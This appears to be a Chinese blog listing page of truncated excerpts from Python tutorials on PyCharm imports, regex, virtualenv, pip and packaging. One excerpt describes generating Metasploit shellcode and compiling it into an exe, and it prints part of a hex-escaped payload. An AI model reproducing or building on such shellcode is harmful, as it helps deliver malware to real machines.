2020
10-08
10-08
解决Python中导入自己写的类,被划红线,但不影响执行的问题
1.错误描述之前在学习Python的过程中,导入自己写的包文件时,与之相关的方法等都会被划红线,但并不影响代码执行,如图:看着红线确实有点强迫症,并且在这个过程当时,当使用该文件里的方法时不会自动提示方法名,只能靠手全部输入,这种容易造成手误,对于小白特别容易降低编写效率2.原因分析pycharm中,sourceroot概念非常重要,当你在代码中写相对路径的时候,就是以sourceroot为起点进行查询。而pycharm中,当前的项目文...
继续阅读 >
第一次碰到这个问题的时候,确实不知道该怎么办,后来请教了一个大神,加上自己的理解,才了解是什么意思,这个东西写python的会经常用到,而且会特别频繁,在此写一篇博客,希望可以帮到一些朋友。例:一个字符串“abcdacsdnd”①懒惰匹配regex="a.*?d"②贪婪匹配regex="a.*d"测试代码:#coding=UTF-8importrestr="abcdacsdn"print("原始字符串"+str)#懒惰匹配regexL="a.*?d"print("懒惰匹配="+regexL...
Python中是有查找功能的,五种方式:in、notin、count、index,find前两种方法是保留字,后两种方式是列表的方法。下面以a_list=['a','b','c','hello'],为例作介绍:string类型的话可用find方法去查找字符串位置:a_list.find('a')如果找到则返回第一个匹配的位置,如果没找到则返回-1,而如果通过index方法去查找的话,没找到的话会报错。补充知识:Python中查找包含它的列表元素的索引,index报错!!!对于列表["foo","ba...
概述python开发过程中,我们可能需要同时开发多款应用,这些应用可能公用同一个版本的Python程序,但是使用不同版本的第三方库,比如A应用使用six1.12.0,而B应用需要使用six1.15.0。这种情况下,virtualenv就派上用场了,它能为每个应用提供一套“相对独立”的Python虚拟运行环境。注意,这里为啥是“相对独立”而不是“绝对独立”呢?针对一些.exe依赖程序,默认安装时,不会安装在虚拟环境中,安装后为各个应用共享,参考网络...
一、绪论在使用python开发过程中经常会使用到第三方库。因此就涉及到了如何安装、复制移动。二、安装方式第三方库的安装方式1、python自带包管理器:使用pip命令自动安装。例如:pipinstallxlwings2、源码安装:在pypi下载的tar、zip包到本地安装。2.1、pip安装方式详解在windows环境先打开cmd命令窗口进入到python安装路径的Scripts目录执行pipinstall库名字2.2、源码安装下载库文件压缩包,并解压。在cmd命令窗口进入解压好...
首先编写py程序:printtest.pydeftest():print('printtest')将以上.py文件做成python模块,需要在相同目录下创建setup.py文件,setup.py中输入配置信息:fromsetuptoolsimportsetupsetup(name='printtest',version='1.0',py_modules=['printtest'],)打开终端,定位到该文件夹下,输入:pythonsetup.pysdist此时在目录中生成dist文件夹,文件夹中有testpg-1.0.tar.gz文件,用户安装的话只需要testpg-1.0.tar.gz文件即...
缺点:编译成exe以后体积过大实现:msf生成shellcode代码:将payload给copy下来,去除引号。\x2f\x4f\x69\x43\x41\x41\x41\x41\x59\x49\x6e\x6c\x4d\x63\x42\x6b\x69\x31\x41\x77\x69\x31\x49\x4d\x69\x31\x49\x55\x69\x33\x49\x6f\x44\x37\x64\x4b\x4a\x6a\x48\x2f\x72\x44\x78\x68\x66\x41\x49\x73\x49\x4d\x48\x50\x44\x51\x48\x48\x34\x76\x4a\x53\x56\x34\x74\x53\x45\x49\x74\x4b\x50\x49\x74\x4d\x45\x58\x6a\x6a\x53\x41\x...
第一步:打开pycharm:File-->Settings第二步:Project:(你的项目名)-->ProjectInterPreter-->点击右边的加号第三步:在窗口中搜索要下载的依赖-->选中并点击左下角的installpackage即可导入依赖包内容扩展:python导入导出依赖包命令程序中必须包含一个requirements.txt文件,用于记录所有依赖包及其精确的版本号。如果要在另一台电脑上重新生成虚拟环境,这个文件的重要性就体现出来了,例如部署程序时使用的电脑。pip...